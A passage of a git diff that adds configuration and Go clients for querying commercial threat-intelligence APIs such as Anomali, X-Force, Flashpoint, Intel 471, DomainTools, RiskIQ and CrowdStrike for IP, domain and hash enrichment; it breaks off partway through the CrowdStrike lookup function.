013f0ad4c..3f2e2cc53 100644--- a/services/enrichment/internal/config/config.go+++ b/services/enrichment/internal/config/config.go@@ -16,14 +16,37 @@ type Config struct {CacheTTL time.DurationCacheMaxMemory string- // External Threat Intel APIs+ // External Threat Intel APIs — open-source / freemiumAbuseIPDBAPIKey stringVirusTotalAPIKey stringShodanAPIKey stringGreyNoiseAPIKey string+ URLScanAPIKey string+ IPInfoAPIKey string++ // External Threat Intel APIs — commercial+ CybleAPIKey string+ CybleBaseURL string+ RecordedFutureAPIKey string+ MandiantAPIKey string+ MandiantAPISecret string+ AnomaliUsername string+ AnomaliAPIKey string+ AnomaliBaseURL string+ XForceAPIKey string+ XForceAPIPassword string+ FlashpointAPIKey string+ Intel471Username string+ Intel471APIKey string+ DomainToolsUsername string+ DomainToolsAPIKey string+ RiskIQUsername string+ RiskIQAPIKey string+ CrowdstrikeIntelID string+ CrowdstrikeIntelSecret string// Rate limiting- RateLimitRPS int+ RateLimitRPS intRateLimitBurst int// Logging@@ -37,17 +60,38 @@ func Load() *Config {rateLimitBurst, _ := strconv.Atoi(getEnv("RATE_LIMIT_BURST", "50"))return &Config{- HTTPPort: getEnv("HTTP_PORT", "8082"),- RedisURL: getEnv("REDIS_URL", "redis://localhost:6379/1"),- CacheTTL: time.Duration(cacheTTLSecs) * time.Second,- CacheMaxMemory: getEnv("CACHE_MAX_MEMORY", "256mb"),- AbuseIPDBAPIKey: getEnv("ABUSEIPDB_API_KEY", ""),- VirusTotalAPIKey: getEnv("VIRUSTOTAL_API_KEY", ""),- ShodanAPIKey: getEnv("SHODAN_API_KEY", ""),- GreyNoiseAPIKey: getEnv("GREYNOISE_API_KEY", ""),- RateLimitRPS: rateLimitRPS,- RateLimitBurst: rateLimitBurst,- LogLevel: getEnv("LOG_LEVEL", "info"),+ HTTPPort: getEnv("HTTP_PORT", "8082"),+ RedisURL: getEnv("REDIS_URL", "redis://localhost:6379/1"),+ CacheTTL: time.Duration(cacheTTLSecs) * time.Second,+ CacheMaxMemory: getEnv("CACHE_MAX_MEMORY", "256mb"),+ AbuseIPDBAPIKey: getEnv("ABUSEIPDB_API_KEY", ""),+ VirusTotalAPIKey: getEnv("VIRUSTOTAL_API_KEY", ""),+ ShodanAPIKey: getEnv("SHODAN_API_KEY", ""),+ GreyNoiseAPIKey: getEnv("GREYNOISE_API_KEY", ""),+ URLScanAPIKey: getEnv("URLSCAN_API_KEY", ""),+ IPInfoAPIKey: getEnv("IPINFO_API_KEY", ""),+ CybleAPIKey: getEnv("CYBLE_API_KEY", ""),+ CybleBaseURL: getEnv("CYBLE_BASE_URL", ""),+ RecordedFutureAPIKey: getEnv("RECORDED_FUTURE_API_KEY", ""),+ MandiantAPIKey: getEnv("MANDIANT_API_KEY", ""),+ MandiantAPISecret: getEnv("MANDIANT_API_SECRET", ""),+ AnomaliUsername: getEnv("ANOMALI_USERNAME", ""),+ AnomaliAPIKey: getEnv("ANOMALI_API_KEY", ""),+ AnomaliBaseURL: getEnv("ANOMALI_BASE_URL", ""),+ XForceAPIKey: getEnv("XFORCE_API_KEY", ""),+ XForceAPIPassword: getEnv("XFORCE_API_PASSWORD", ""),+ FlashpointAPIKey: getEnv("FLASHPOINT_API_KEY", ""),+ Intel471Username: getEnv("INTEL471_USERNAME", ""),+ Intel471APIKey: getEnv("INTEL471_API_KEY", ""),+ DomainToolsUsername: getEnv("DOMAINTOOLS_USERNAME", ""),+ DomainToolsAPIKey: getEnv("DOMAINTOOLS_API_KEY", ""),+ RiskIQUsername: getEnv("RISKIQ_USERNAME", ""),+ RiskIQAPIKey: getEnv("RISKIQ_API_KEY", ""),+ CrowdstrikeIntelID: getEnv("CROWDSTRIKE_INTEL_CLIENT_ID", ""),+ CrowdstrikeIntelSecret: getEnv("CROWDSTRIKE_INTEL_CLIENT_SECRET", ""),+ RateLimitRPS: rateLimitRPS,+ RateLimitBurst: rateLimitBurst,+ LogLevel: getEnv("LOG_LEVEL", "info"),}}diff --git a/services/enrichment/internal/enricher/commercial.go b/services/enrichment/internal/enricher/commercial.gonew file mode 100644index 000000000..425d06dbb--- /dev/null+++ b/services/enrichment/internal/enricher/commercial.go@@ -0,0 +1,979 @@+// Package enricher: secondary commercial-TI clients.+//+// This file groups the commercial providers that share a similar shape:+// authenticate, query a per-IOC endpoint, map verdict/score/categories into+// the unified EnrichmentResult. Each client degrades to (nil, nil) when no+// credentials are configured so the orchestrator can fan-out cleanly.+//+// Providers covered here:+//+// - Anomali ThreatStream (X-Username + X-Key-Auth)+// - IBM X-Force Exchange (HTTP Basic: key:password)+// - Flashpoint (Bearer token)+// - Intel 471 (HTTP Basic: username:key)+// - DomainTools Iris (api_username + api_key signed query)+// - RiskIQ / Defender External ATP (HTTP Basic: username:key)+// - Crowdstrike Falcon Intelligence (OAuth2 client-credentials)+//+// For Cyble, Recorded Future, and Mandiant — see their dedicated files which+// implement richer schemas (dark web, evidence rules, mscore + threat-rating).+package enricher++import (+ "context"+ "encoding/json"+ "fmt"+ "io"+ "net/http"+ "net/url"+ "strings"+ "sync"+ "time"+)++// ──────────────────────────────────────────────────────────────────────────────+// shared helpers+// ──────────────────────────────────────────────────────────────────────────────++func defaultHTTPClient() *http.Client {+ return &http.Client{Timeout: 12 * time.Second}+}++func clamp(v, lo, hi float64) float64 {+ if v < lo {+ return lo+ }+ if v > hi {+ return hi+ }+ return v+}++// ──────────────────────────────────────────────────────────────────────────────+// Anomali ThreatStream+// ──────────────────────────────────────────────────────────────────────────────++const (+ anomaliDefaultBaseURL = "https://api.threatstream.com"+ anomaliSourceName = "anomali-threatstream"+)++// AnomaliClient queries the Anomali ThreatStream Intelligence API.+type AnomaliClient struct {+ username string+ apiKey string+ baseURL string+ httpClient *http.Client+}++// AnomaliConfig configures the Anomali client.+type AnomaliConfig struct {+ Username string+ APIKey string+ BaseURL string+}++func NewAnomaliClient(cfg AnomaliConfig) *AnomaliClient {+ base := cfg.BaseURL+ if base == "" {+ base = anomaliDefaultBaseURL+ }+ return &AnomaliClient{+ username: cfg.Username,+ apiKey: cfg.APIKey,+ baseURL: strings.TrimRight(base, "/"),+ httpClient: defaultHTTPClient(),+ }+}++func (c *AnomaliClient) configured() bool {+ return c != nil && c.username != "" && c.apiKey != ""+}++type anomaliResponse struct {+ Objects []struct {+ Value string `json:"value"`+ Confidence int `json:"confidence"`+ Severity string `json:"severity"` // low | medium | high | very-high+ Type string `json:"type"`+ Source string `json:"source"`+ Tags []struct {+ Name string `json:"name"`+ } `json:"tags"`+ Classification string `json:"classification"`+ ITypes []string `json:"itype"`+ Country string `json:"country"`+ ASN int64 `json:"asn"`+ Org string `json:"org"`+ ModifiedTS string `json:"modified_ts"`+ CreatedTS string `json:"created_ts"`+ } `json:"objects"`+}++// EnrichIP queries Anomali for IP intel.+func (c *AnomaliClient) EnrichIP(ctx context.Context, ip string) (*EnrichmentResult, error) {+ if !c.configured() {+ return nil, nil+ }+ return c.lookup(ctx, IOCTypeIP, "ip", ip)+}++// EnrichDomain queries Anomali for domain intel.+func (c *AnomaliClient) EnrichDomain(ctx context.Context, domain string) (*EnrichmentResult, error) {+ if !c.configured() {+ return nil, nil+ }+ return c.lookup(ctx, IOCTypeDomain, "domain", domain)+}++func (c *AnomaliClient) lookup(ctx context.Context, iocType IOCType, kind, value string) (*EnrichmentResult, error) {+ q := url.Values{+ "username": {c.username},+ "api_key": {c.apiKey},+ "value": {value},+ "type": {kind},+ }+ endpoint := fmt.Sprintf("%s/api/v2/intelligence/?%s", c.baseURL, q.Encode())++ req, err := http.NewRequestWithContext(ctx, http.MethodGet, endpoint, nil)+ if err != nil {+ return nil, err+ }+ req.Header.Set("Accept", "application/json")++ resp, err := c.httpClient.Do(req)+ if err != nil {+ return nil, fmt.Errorf("anomali request failed: %w", err)+ }+ defer resp.Body.Close()++ body, err := io.ReadAll(resp.Body)+ if err != nil {+ return nil, fmt.Errorf("anomali read error: %w", err)+ }+ if resp.StatusCode == http.StatusNotFound {+ return nil, nil+ }+ if resp.StatusCode >= 400 {+ return nil, fmt.Errorf("anomali HTTP %d: %s", resp.StatusCode, strings.TrimSpace(string(body)))+ }++ var ar anomaliResponse+ if err := json.Unmarshal(body, &ar); err != nil {+ return nil, fmt.Errorf("anomali parse error: %w", err)+ }+ if len(ar.Objects) == 0 {+ return nil, nil+ }++ // Pick the highest-confidence record.+ top := ar.Objects[0]+ for _, o := range ar.Objects[1:] {+ if o.Confidence > top.Confidence {+ top = o+ }+ }++ severityScore := map[string]float64{+ "low": 25, "medium": 50, "high": 75, "very-high": 95,+ }[strings.ToLower(top.Severity)]++ result := &EnrichmentResult{+ IOCType: iocType,+ Value: value,+ RiskScore: clamp(severityScore, 0, 100),+ Confidence: float64(top.Confidence),+ ThreatCategory: top.Classification,+ Sources: []EnrichmentSource{+ {Name: anomaliSourceName, Tier: "commercial", Timestamp: time.Now()},+ },+ EnrichedAt: time.Now(),+ }+ for _, t := range top.Tags {+ result.Tags = append(result.Tags, "anomali:"+t.Name)+ }+ for _, it := range top.ITypes {+ result.Tags = append(result.Tags, "anomali:itype:"+it)+ }+ if top.Country != "" || top.ASN != 0 {+ result.GeoLocation = &GeoLocation{+ Country: top.Country,+ ASN: top.ASN,+ ASOrg: top.Org,+ }+ }+ if t, ok := parseCybleTime(top.CreatedTS); ok {+ result.FirstSeen = &t+ }+ if t, ok := parseCybleTime(top.ModifiedTS); ok {+ result.LastSeen = &t+ }+ return result, nil+}++// ──────────────────────────────────────────────────────────────────────────────+// IBM X-Force Exchange+// ──────────────────────────────────────────────────────────────────────────────++const (+ xforceBaseURL = "https://api.xforce.ibmcloud.com"+ xforceSourceName = "ibm-xforce"+)++// XForceClient queries the IBM X-Force Exchange API.+type XForceClient struct {+ apiKey string+ apiPass string+ httpClient *http.Client+}++func NewXForceClient(apiKey, apiPass string) *XForceClient {+ return &XForceClient{apiKey: apiKey, apiPass: apiPass, httpClient: defaultHTTPClient()}+}++func (c *XForceClient) configured() bool {+ return c != nil && c.apiKey != "" && c.apiPass != ""+}++type xforceIPReport struct {+ IP string `json:"ip"`+ Score float64 `json:"score"` // 1-10+ Cats map[string]int `json:"cats"`+ Geo struct {+ Country string `json:"country"`+ CountryCode string `json:"countrycode"`+ } `json:"geo"`+ Reason string `json:"reason"`+}++func (c *XForceClient) EnrichIP(ctx context.Context, ip string) (*EnrichmentResult, error) {+ if !c.configured() {+ return nil, nil+ }+ endpoint := fmt.Sprintf("%s/ipr/%s", xforceBaseURL, url.PathEscape(ip))+ body, err := c.get(ctx, endpoint)+ if err != nil || body == nil {+ return nil, err+ }+ var rep xforceIPReport+ if err := json.Unmarshal(body, &rep); err != nil {+ return nil, fmt.Errorf("xforce parse error: %w", err)+ }+ r := &EnrichmentResult{+ IOCType: IOCTypeIP,+ Value: ip,+ RiskScore: clamp(rep.Score*10, 0, 100), // 0-10 → 0-100+ Sources: []EnrichmentSource{{Name: xforceSourceName, Tier: "commercial", Timestamp: time.Now()}},+ EnrichedAt: time.Now(),+ }+ for cat := range rep.Cats {+ r.Tags = append(r.Tags, "xforce:"+cat)+ }+ if rep.Geo.Country != "" {+ r.GeoLocation = &GeoLocation{Country: rep.Geo.Country, CountryCode: rep.Geo.CountryCode}+ }+ return r, nil+}++func (c *XForceClient) EnrichDomain(ctx context.Context, domain string) (*EnrichmentResult, error) {+ if !c.configured() {+ return nil, nil+ }+ endpoint := fmt.Sprintf("%s/url/%s", xforceBaseURL, url.PathEscape(domain))+ body, err := c.get(ctx, endpoint)+ if err != nil || body == nil {+ return nil, err+ }+ var rep struct {+ Result struct {+ Score float64 `json:"score"`+ Cats map[string]bool `json:"cats"`+ } `json:"result"`+ }+ if err := json.Unmarshal(body, &rep); err != nil {+ return nil, fmt.Errorf("xforce url parse error: %w", err)+ }+ r := &EnrichmentResult{+ IOCType: IOCTypeDomain,+ Value: domain,+ RiskScore: clamp(rep.Result.Score*10, 0, 100),+ Sources: []EnrichmentSource{{Name: xforceSourceName, Tier: "commercial", Timestamp: time.Now()}},+ EnrichedAt: time.Now(),+ }+ for cat := range rep.Result.Cats {+ r.Tags = append(r.Tags, "xforce:"+cat)+ }+ return r, nil+}++func (c *XForceClient) get(ctx context.Context, endpoint string) ([]byte, error) {+ req, err := http.NewRequestWithContext(ctx, http.MethodGet, endpoint, nil)+ if err != nil {+ return nil, err+ }+ req.SetBasicAuth(c.apiKey, c.apiPass)+ req.Header.Set("Accept", "application/json")+ resp, err := c.httpClient.Do(req)+ if err != nil {+ return nil, fmt.Errorf("xforce request failed: %w", err)+ }+ defer resp.Body.Close()+ if resp.StatusCode == http.StatusNotFound {+ return nil, nil+ }+ body, _ := io.ReadAll(resp.Body)+ if resp.StatusCode >= 400 {+ return nil, fmt.Errorf("xforce HTTP %d: %s", resp.StatusCode, strings.TrimSpace(string(body)))+ }+ return body, nil+}++// ──────────────────────────────────────────────────────────────────────────────+// Flashpoint+// ──────────────────────────────────────────────────────────────────────────────++const (+ flashpointBaseURL = "https://api.flashpoint.io"+ flashpointSourceName = "flashpoint"+)++// FlashpointClient queries the Flashpoint Ignite API for indicator + dark-web context.+type FlashpointClient struct {+ apiKey string+ httpClient *http.Client+}++func NewFlashpointClient(apiKey string) *FlashpointClient {+ return &FlashpointClient{apiKey: apiKey, httpClient: defaultHTTPClient()}+}++func (c *FlashpointClient) configured() bool { return c != nil && c.apiKey != "" }++type flashpointResponse struct {+ Hits struct {+ Total struct {+ Value int `json:"value"`+ } `json:"total"`+ Hits []struct {+ Source struct {+ Indicator string `json:"indicator"`+ Type string `json:"type"`+ Confidence int `json:"confidence"`+ Tags []string `json:"tags"`+ Categories []string `json:"categories"`+ FirstSeen string `json:"first_observed_at"`+ LastSeen string `json:"last_observed_at"`+ ForumMentions int `json:"forum_mentions"`+ Sources []string `json:"sources"`+ Excerpt string `json:"excerpt"`+ } `json:"_source"`+ } `json:"hits"`+ } `json:"hits"`+}++func (c *FlashpointClient) EnrichIP(ctx context.Context, ip string) (*EnrichmentResult, error) {+ if !c.configured() {+ return nil, nil+ }+ return c.lookup(ctx, IOCTypeIP, ip)+}++func (c *FlashpointClient) EnrichDomain(ctx context.Context, domain string) (*EnrichmentResult, error) {+ if !c.configured() {+ return nil, nil+ }+ return c.lookup(ctx, IOCTypeDomain, domain)+}++func (c *FlashpointClient) EnrichHash(ctx context.Context, hash string) (*EnrichmentResult, error) {+ if !c.configured() {+ return nil, nil+ }+ return c.lookup(ctx, IOCTypeHash, hash)+}++func (c *FlashpointClient) lookup(ctx context.Context, iocType IOCType, value string) (*EnrichmentResult, error) {+ endpoint := fmt.Sprintf("%s/technical-intelligence/v1/indicator?value=%s",+ flashpointBaseURL, url.QueryEscape(value))++ req, err := http.NewRequestWithContext(ctx, http.MethodGet, endpoint, nil)+ if err != nil {+ return nil, err+ }+ req.Header.Set("Authorization", "Bearer "+c.apiKey)+ req.Header.Set("Accept", "application/json")++ resp, err := c.httpClient.Do(req)+ if err != nil {+ return nil, fmt.Errorf("flashpoint request failed: %w", err)+ }+ defer resp.Body.Close()++ body, err := io.ReadAll(resp.Body)+ if err != nil {+ return nil, fmt.Errorf("flashpoint read error: %w", err)+ }+ if resp.StatusCode == http.StatusNotFound {+ return nil, nil+ }+ if resp.StatusCode >= 400 {+ return nil, fmt.Errorf("flashpoint HTTP %d: %s", resp.StatusCode, strings.TrimSpace(string(body)))+ }++ var fr flashpointResponse+ if err := json.Unmarshal(body, &fr); err != nil {+ return nil, fmt.Errorf("flashpoint parse error: %w", err)+ }+ if len(fr.Hits.Hits) == 0 {+ return nil, nil+ }++ src := fr.Hits.Hits[0].Source+ r := &EnrichmentResult{+ IOCType: iocType,+ Value: value,+ RiskScore: float64(src.Confidence),+ Confidence: float64(src.Confidence),+ Tags: append([]string{}, src.Tags...),+ Sources: []EnrichmentSource{{Name: flashpointSourceName, Tier: "commercial", Timestamp: time.Now()}},+ EnrichedAt: time.Now(),+ }+ for _, cat := range src.Categories {+ r.Tags = append(r.Tags, "fp:"+cat)+ }+ if src.ForumMentions > 0 || len(src.Sources) > 0 {+ dw := &DarkWebContext{+ Mentions: src.ForumMentions,+ Sources: src.Sources,+ Excerpt: src.Excerpt,+ }+ if t, ok := parseCybleTime(src.FirstSeen); ok {+ dw.FirstSeen = &t+ }+ if t, ok := parseCybleTime(src.LastSeen); ok {+ dw.LastSeen = &t+ }+ r.DarkWeb = dw+ r.Tags = append(r.Tags, "fp:dark-web")+ }+ return r, nil+}++// ──────────────────────────────────────────────────────────────────────────────+// Intel 471+// ──────────────────────────────────────────────────────────────────────────────++const (+ intel471BaseURL = "https://api.intel471.com/v1"+ intel471SourceName = "intel471"+)++// Intel471Client queries the Intel 471 Indicators API for actor + malware context.+type Intel471Client struct {+ username string+ apiKey string+ httpClient *http.Client+}++func NewIntel471Client(username, apiKey string) *Intel471Client {+ return &Intel471Client{username: username, apiKey: apiKey, httpClient: defaultHTTPClient()}+}++func (c *Intel471Client) configured() bool {+ return c != nil && c.username != "" && c.apiKey != ""+}++type intel471Response struct {+ Indicators []struct {+ Data struct {+ Indicator struct {+ Type string `json:"type"`+ Value string `json:"value"`+ } `json:"indicator"`+ Confidence string `json:"confidence"` // low | medium | high+ MitreTactics []string `json:"mitreTactics"`+ Threat struct {+ Type string `json:"type"`+ Data struct {+ FamilyProfile struct {+ Name string `json:"name"`+ } `json:"familyProfile"`+ ActorSubject struct {+ Handle string `json:"handle"`+ } `json:"actorSubject"`+ } `json:"data"`+ } `json:"threat"`+ } `json:"data"`+ Activity struct {+ First int64 `json:"first"`+ Last int64 `json:"last"`+ } `json:"activity"`+ } `json:"indicators"`+}++func (c *Intel471Client) EnrichIP(ctx context.Context, ip string) (*EnrichmentResult, error) {+ if !c.configured() {+ return nil, nil+ }+ return c.lookup(ctx, IOCTypeIP, ip)+}++func (c *Intel471Client) EnrichDomain(ctx context.Context, domain string) (*EnrichmentResult, error) {+ if !c.configured() {+ return nil, nil+ }+ return c.lookup(ctx, IOCTypeDomain, domain)+}++func (c *Intel471Client) EnrichHash(ctx context.Context, hash string) (*EnrichmentResult, error) {+ if !c.configured() {+ return nil, nil+ }+ return c.lookup(ctx, IOCTypeHash, hash)+}++func (c *Intel471Client) lookup(ctx context.Context, iocType IOCType, value string) (*EnrichmentResult, error) {+ endpoint := fmt.Sprintf("%s/indicators?indicator=%s", intel471BaseURL, url.QueryEscape(value))+ req, err := http.NewRequestWithContext(ctx, http.MethodGet, endpoint, nil)+ if err != nil {+ return nil, err+ }+ req.SetBasicAuth(c.username, c.apiKey)+ req.Header.Set("Accept", "application/json")+ resp, err := c.httpClient.Do(req)+ if err != nil {+ return nil, fmt.Errorf("intel471 request failed: %w", err)+ }+ defer resp.Body.Close()++ body, err := io.ReadAll(resp.Body)+ if err != nil {+ return nil, fmt.Errorf("intel471 read error: %w", err)+ }+ if resp.StatusCode == http.StatusNotFound {+ return nil, nil+ }+ if resp.StatusCode >= 400 {+ return nil, fmt.Errorf("intel471 HTTP %d: %s", resp.StatusCode, strings.TrimSpace(string(body)))+ }+ var ir intel471Response+ if err := json.Unmarshal(body, &ir); err != nil {+ return nil, fmt.Errorf("intel471 parse error: %w", err)+ }+ if len(ir.Indicators) == 0 {+ return nil, nil+ }+ ind := ir.Indicators[0]+ confScore := map[string]float64{"low": 30, "medium": 60, "high": 90}[strings.ToLower(ind.Data.Confidence)]++ r := &EnrichmentResult{+ IOCType: iocType,+ Value: value,+ RiskScore: confScore,+ Confidence: confScore,+ Classification: ThreatClassification{+ MITRETactics: ind.Data.MitreTactics,+ },+ Sources: []EnrichmentSource{{Name: intel471SourceName, Tier: "commercial", Timestamp: time.Now()}},+ EnrichedAt: time.Now(),+ }+ if mal := ind.Data.Threat.Data.FamilyProfile.Name; mal != "" {+ r.Classification.Malware = []string{mal}+ r.Tags = append(r.Tags, "intel471:malware:"+mal)+ }+ if actor := ind.Data.Threat.Data.ActorSubject.Handle; actor != "" {+ r.Classification.ThreatActors = []string{actor}+ r.Tags = append(r.Tags, "intel471:actor:"+actor)+ }+ if ind.Activity.First > 0 {+ t := time.Unix(ind.Activity.First/1000, 0)+ r.FirstSeen = &t+ }+ if ind.Activity.Last > 0 {+ t := time.Unix(ind.Activity.Last/1000, 0)+ r.LastSeen = &t+ }+ return r, nil+}++// ──────────────────────────────────────────────────────────────────────────────+// DomainTools Iris+// ──────────────────────────────────────────────────────────────────────────────++const (+ domainToolsBaseURL = "https://api.domaintools.com/v1"+ domainToolsSourceName = "domaintools-iris"+)++// DomainToolsClient queries the DomainTools Iris Investigate API.+type DomainToolsClient struct {+ username string+ apiKey string+ httpClient *http.Client+}++func NewDomainToolsClient(username, apiKey string) *DomainToolsClient {+ return &DomainToolsClient{username: username, apiKey: apiKey, httpClient: defaultHTTPClient()}+}++func (c *DomainToolsClient) configured() bool {+ return c != nil && c.username != "" && c.apiKey != ""+}++type domainToolsResponse struct {+ Response struct {+ Results []struct {+ DomainRisk struct {+ RiskScore int `json:"risk_score"` // 0-100+ Components []struct {+ Name string `json:"name"`+ RiskScore int `json:"risk_score"`+ } `json:"components"`+ } `json:"domain_risk"`+ Registrar struct {+ Value string `json:"value"`+ } `json:"registrar"`+ CreateDate struct {+ Value string `json:"value"`+ } `json:"create_date"`+ } `json:"results"`+ } `json:"response"`+}++// EnrichDomain queries DomainTools Iris for domain risk + registration details.+func (c *DomainToolsClient) EnrichDomain(ctx context.Context, domain string) (*EnrichmentResult, error) {+ if !c.configured() {+ return nil, nil+ }+ q := url.Values{+ "api_username": {c.username},+ "api_key": {c.apiKey},+ "domain": {domain},+ }+ endpoint := fmt.Sprintf("%s/iris-investigate/?%s", domainToolsBaseURL, q.Encode())++ req, err := http.NewRequestWithContext(ctx, http.MethodGet, endpoint, nil)+ if err != nil {+ return nil, err+ }+ req.Header.Set("Accept", "application/json")++ resp, err := c.httpClient.Do(req)+ if err != nil {+ return nil, fmt.Errorf("domaintools request failed: %w", err)+ }+ defer resp.Body.Close()+ body, _ := io.ReadAll(resp.Body)+ if resp.StatusCode == http.StatusNotFound {+ return nil, nil+ }+ if resp.StatusCode >= 400 {+ return nil, fmt.Errorf("domaintools HTTP %d: %s", resp.StatusCode, strings.TrimSpace(string(body)))+ }+ var dr domainToolsResponse+ if err := json.Unmarshal(body, &dr); err != nil {+ return nil, fmt.Errorf("domaintools parse error: %w", err)+ }+ if len(dr.Response.Results) == 0 {+ return nil, nil+ }+ res := dr.Response.Results[0]+ r := &EnrichmentResult{+ IOCType: IOCTypeDomain,+ Value: domain,+ RiskScore: float64(res.DomainRisk.RiskScore),+ Confidence: float64(res.DomainRisk.RiskScore),+ Sources: []EnrichmentSource{{Name: domainToolsSourceName, Tier: "commercial", Timestamp: time.Now()}},+ EnrichedAt: time.Now(),+ }+ for _, comp := range res.DomainRisk.Components {+ r.Tags = append(r.Tags, fmt.Sprintf("domaintools:%s:%d", comp.Name, comp.RiskScore))+ if comp.Name == "phishing" && comp.RiskScore > 50 {+ if r.BrandRisk == nil {+ r.BrandRisk = &BrandRisk{}+ }+ r.BrandRisk.Phishing = true+ r.BrandRisk.Score = comp.RiskScore+ }+ }+ if t, ok := parseCybleTime(res.CreateDate.Value); ok {+ r.FirstSeen = &t+ }+ if res.Registrar.Value != "" {+ r.Whois = map[string]string{"registrar": res.Registrar.Value}+ }+ return r, nil+}++// ──────────────────────────────────────────────────────────────────────────────+// RiskIQ / Microsoft Defender External ATP (PassiveTotal)+// ──────────────────────────────────────────────────────────────────────────────++const (+ riskIQBaseURL = "https://api.passivetotal.org/v2"+ riskIQSourceName = "riskiq-passivetotal"+)++// RiskIQClient queries the RiskIQ PassiveTotal / Defender External ATP API.+type RiskIQClient struct {+ username string+ apiKey string+ httpClient *http.Client+}++func NewRiskIQClient(username, apiKey string) *RiskIQClient {+ return &RiskIQClient{username: username, apiKey: apiKey, httpClient: defaultHTTPClient()}+}++func (c *RiskIQClient) configured() bool {+ return c != nil && c.username != "" && c.apiKey != ""+}++type riskIQReputation struct {+ Score int `json:"score"` // 0-100+ Classification string `json:"classification"`+ Rules []struct {+ Name string `json:"name"`+ Description string `json:"description"`+ Severity int `json:"severity"`+ } `json:"rules"`+}++func (c *RiskIQClient) EnrichIP(ctx context.Context, ip string) (*EnrichmentResult, error) {+ if !c.configured() {+ return nil, nil+ }+ return c.reputation(ctx, IOCTypeIP, ip)+}++func (c *RiskIQClient) EnrichDomain(ctx context.Context, domain string) (*EnrichmentResult, error) {+ if !c.configured() {+ return nil, nil+ }+ return c.reputation(ctx, IOCTypeDomain, domain)+}++func (c *RiskIQClient) reputation(ctx context.Context, iocType IOCType, value string) (*EnrichmentResult, error) {+ endpoint := fmt.Sprintf("%s/reputation?query=%s", riskIQBaseURL, url.QueryEscape(value))+ req, err := http.NewRequestWithContext(ctx, http.MethodGet, endpoint, nil)+ if err != nil {+ return nil, err+ }+ req.SetBasicAuth(c.username, c.apiKey)+ req.Header.Set("Accept", "application/json")++ resp, err := c.httpClient.Do(req)+ if err != nil {+ return nil, fmt.Errorf("riskiq request failed: %w", err)+ }+ defer resp.Body.Close()+ body, _ := io.ReadAll(resp.Body)+ if resp.StatusCode == http.StatusNotFound {+ return nil, nil+ }+ if resp.StatusCode >= 400 {+ return nil, fmt.Errorf("riskiq HTTP %d: %s", resp.StatusCode, strings.TrimSpace(string(body)))+ }+ var rep riskIQReputation+ if err := json.Unmarshal(body, &rep); err != nil {+ return nil, fmt.Errorf("riskiq parse error: %w", err)+ }+ r := &EnrichmentResult{+ IOCType: iocType,+ Value: value,+ RiskScore: float64(rep.Score),+ Confidence: float64(rep.Score),+ ThreatCategory: rep.Classification,+ Sources: []EnrichmentSource{{Name: riskIQSourceName, Tier: "commercial", Timestamp: time.Now()}},+ EnrichedAt: time.Now(),+ }+ for _, rule := range rep.Rules {+ r.Tags = append(r.Tags, "riskiq:"+rule.Name)+ }+ return r, nil+}++// ──────────────────────────────────────────────────────────────────────────────+// Crowdstrike Falcon Intelligence (separate from EDR connector)+// ──────────────────────────────────────────────────────────────────────────────++const (+ crowdstrikeBaseURL = "https://api.crowdstrike.com"+ crowdstrikeSourceName = "crowdstrike-falcon-intel"+)++// CrowdstrikeIntelClient queries Falcon Intelligence indicator endpoints+// (distinct from the Falcon EDR connector under /integrations/connectors).+type CrowdstrikeIntelClient struct {+ clientID string+ clientSecret string+ httpClient *http.Client++ tokenMu sync.Mutex+ bearer string+ tokenExpiry time.Time+}++func NewCrowdstrikeIntelClient(clientID, clientSecret string) *CrowdstrikeIntelClient {+ return &CrowdstrikeIntelClient{+ clientID: clientID,+ clientSecret: clientSecret,+ httpClient: defaultHTTPClient(),+ }+}++func (c *CrowdstrikeIntelClient) configured() bool {+ return c != nil && c.clientID != "" && c.clientSecret != ""+}++func (c *CrowdstrikeIntelClient) token(ctx context.Context) (string, error) {+ c.tokenMu.Lock()+ defer c.tokenMu.Unlock()++ if c.bearer != "" && time.Now().Before(c.tokenExpiry.Add(-30*time.Second)) {+ return c.bearer, nil+ }++ form := url.Values{+ "client_id": {c.clientID},+ "client_secret": {c.clientSecret},+ }+ req, err := http.NewRequestWithContext(ctx, http.MethodPost,+ crowdstrikeBaseURL+"/oauth2/token", strings.NewReader(form.Encode()))+ if err != nil {+ return "", err+ }+ req.Header.Set("Content-Type", "application/x-www-form-urlencoded")+ req.Header.Set("Accept", "application/json")++ resp, err := c.httpClient.Do(req)+ if err != nil {+ return "", fmt.Errorf("crowdstrike token failed: %w", err)+ }+ defer resp.Body.Close()+ if resp.StatusCode >= 400 {+ body, _ := io.ReadAll(resp.Body)+ return "", fmt.Errorf("crowdstrike token HTTP %d: %s", resp.StatusCode, strings.TrimSpace(string(body)))+ }+ var tr struct {+ AccessToken string `json:"access_token"`+ ExpiresIn int `json:"expires_in"`+ }+ if err := json.NewDecoder(resp.Body).Decode(&tr); err != nil {+ return "", fmt.Errorf("crowdstrike token parse: %w", err)+ }+ c.bearer = tr.AccessToken+ c.tokenExpiry = time.Now().Add(time.Duration(tr.ExpiresIn) * time.Second)+ return c.bearer, nil+}++type crowdstrikeIndicator struct {+ Resources []struct {+ Indicator string `json:"indicator"`+ Type string `json:"type"`+ MaliciousConfidence string `json:"malicious_confidence"` // high | medium | low | unverified+ PublishedDate int64 `json:"published_date"`+ LastUpdated int64 `json:"last_updated"`+ Actors []string `json:"actors"`+ MalwareFamilies []string `json:"malware_families"`+ KillChains []string `json:"kill_chains"`+ Labels []struct {+ Name string `json:"name"`+ } `json:"labels"`+ } `json:"resources"`+}++func (c *CrowdstrikeIntelClient) EnrichIP(ctx context.Context, ip string) (*EnrichmentResult, error) {+ if !c.configured() {+ return nil, nil+ }+ return c.lookup(ctx, IOCTypeIP, "ip_address", ip)+}++func (c *CrowdstrikeIntelClient) EnrichDomain(ctx context.Context, domain string) (*EnrichmentResult, error) {+ if !c.configured() {+ return nil, nil+ }+ return c.lookup(ctx, IOCTypeDomain, "domain", domain)+}++func (c *CrowdstrikeIntelClient) EnrichHash(ctx context.Context, hash string) (*EnrichmentResult, error) {+ if !c.configured() {+ return nil, nil+ }+ return c.lookup(ctx, IOCTypeHash, "hash_sha256", hash)+}++func (c *CrowdstrikeIntelClient) lookup(ctx context.Context, iocType IOCType, kind, value string) (*EnrichmentResult, error) {+ bearer, err := c.token(ctx)+ if err != nil {+ return nil, err+ }+ q := url.Values{"filter": {fmt.Sprintf("type:'%s'+indicator:'%s'", kind, value)}}+ endpoint := fmt.Sprintf("%s/intel/combined/indicators/v1?%s", crowdstrikeBaseURL, q.Encode())++ req, err := http.NewRequestWithContext(ctx, http.MethodGet, endpoint, nil)+ if err != nil {+ return nil, err+ }+ req.Header.Set("Authorization", "Bearer "+bearer)+ 